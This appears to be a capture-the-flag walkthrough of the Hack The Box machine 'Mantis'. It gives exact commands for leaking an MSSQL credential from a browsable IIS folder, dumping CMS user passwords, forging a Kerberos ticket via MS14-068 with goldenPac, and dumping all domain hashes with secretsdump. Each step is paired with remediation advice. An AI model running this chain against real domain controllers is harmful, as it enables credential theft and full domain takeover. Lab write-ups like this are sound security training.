Mantis
Summary
I scanned a Windows Server 2008 R2 Active Directory domain controller and found IIS 7.5 on two non-standard ports alongside an internet-facing SQL Server 2014 instance. Directory browsing left enabled on port 1337 revealed a developer notes folder; one file, whose name encoded the SQL administrator password in base64, contained plaintext setup instructions for an OrchardCMS installation, handing over the MSSQL admin credential.
I authenticated to SQL Server, queried the OrchardCMS user table, and read a domain user's password stored in recoverable form, giving valid Active Directory credentials for the account 'james'. Because the domain controller had never been patched against MS14-068, any authenticated domain user can forge a Kerberos ticket claiming Domain Admin membership; Impacket's goldenPac did exactly that, dropping a SYSTEM shell from which both the user and administrator flags were read.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Attack path: how the box was taken
Exact commands 1
Full TCP SYN scan with version detection and default NSE scripts.
$ nmap -sV -sC -p- --min-rate 5000 -oA mantis_full $TARGETExact commands 2
List the browsable notes directory to see both exposed files.
$ curl -s http://$TARGET:1337/secure_notes/Retrieve the plaintext NDA developer note for context clues.
$ curl -s http://$TARGET:1337/secure_notes/dev_notes_NDA.txt.txtFixDisable IIS directory browsing on all sites and virtual directoriesMedium
Exact commands 2
Fetch the obfuscated note; contains the MSSQL admin credential in plaintext.
$ curl -s http://$TARGET:1337/secure_notes/dev_notes_$PASSWORD.txt.txtDecode the filename to reveal the hex-encoded password hint embedded by the developer.
$ echo "$PASSWORD" | base64 -d | xxdFixRemove all credential material from web-accessible directories before and after deploymentCritical
Exact commands 3
Validate the SQL admin credential using local (non-domain) authentication.
$ nxc mssql $TARGET -u admin -p "$PASSWORD2" --local-authConfirm orcharddb is present alongside the standard system databases.
$ nxc mssql $TARGET -u admin -p "$PASSWORD2" --local-auth -q 'SELECT name FROM sys.databases;'Enumerate the OrchardCMS user table schema to identify credential columns.
$ nxc mssql $TARGET -u admin -p "$PASSWORD2" --local-auth -q "SELECT COLUMN_NAME FROM orcharddb.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='blog_Orchard_Users_UserPartRecord';"Exact commands 3
Dump CMS user credentials; yields james's domain password in recoverable plaintext.
$ nxc mssql $TARGET -u admin -p "$PASSWORD2" --local-auth -q "SELECT UserName, Password FROM orcharddb.dbo.blog_Orchard_Users_UserPartRecord;"Validate the recovered domain credential over SMB.
$ nxc smb $TARGET -d htb.local -u james -p "$PASSWORD3"Validate over LDAP to confirm htb.local domain membership.
$ nxc ldap $TARGET -d htb.local -u james -p "$PASSWORD3"FixNever store Active Directory credentials in the CMS database; enforce one-way password hashingHigh
Exact commands 2
Register the domain and hostname so Kerberos name resolution works correctly.
$ echo "$TARGET mantis htb.local mantis.htb.local" | sudo tee -a /etc/hostsExploit MS14-068: forge a Domain Admin PAC for james and receive an interactive SYSTEM shell. The 'Couldn't get forest info' warning is non-fatal: the shell still lands.
$ impacket-goldenPac -dc-ip $TARGET "htb.local/james:$PASSWORD3"@$TARGETFixApply MS14-068 patch (KB3011780) immediately and migrate off Windows Server 2008 R2Critical
Exact commands 3
Read the user flag; captured value is <user.txt>.
$ type C:\Users\James\Desktop\user.txtRead the administrator flag; captured value is <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtDump all domain account NTLM hashes and Kerberos keys to demonstrate full domain compromise (run from my host, no shell needed once DC is accessible).
$ impacket-secretsdump -just-dc "htb.local/james:$PASSWORD3"@$TARGETExposed services
| 53/tcp | domain Microsoft DNS 6.1.7601 (1DB15CD4) (Windows Server 2008 R2 SP1) |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-10 06:33:41Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB) |
| 464/tcp | tcpwrapped |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 1337/tcp | http Microsoft IIS httpd 7.5 |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2014 12.00.2000.00; RTM |
| 8080/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49152/tcp | unknown recon-sweep-discovered |
| 49153/tcp | unknown recon-sweep-discovered |
| 49154/tcp | unknown recon-sweep-discovered |
| 49155/tcp | unknown recon-sweep-discovered |
| 49157/tcp | unknown recon-sweep-discovered |
| 49158/tcp | unknown recon-sweep-discovered |
| 49196/tcp | unknown recon-sweep-discovered |
| 50255/tcp | unknown recon-sweep-discovered |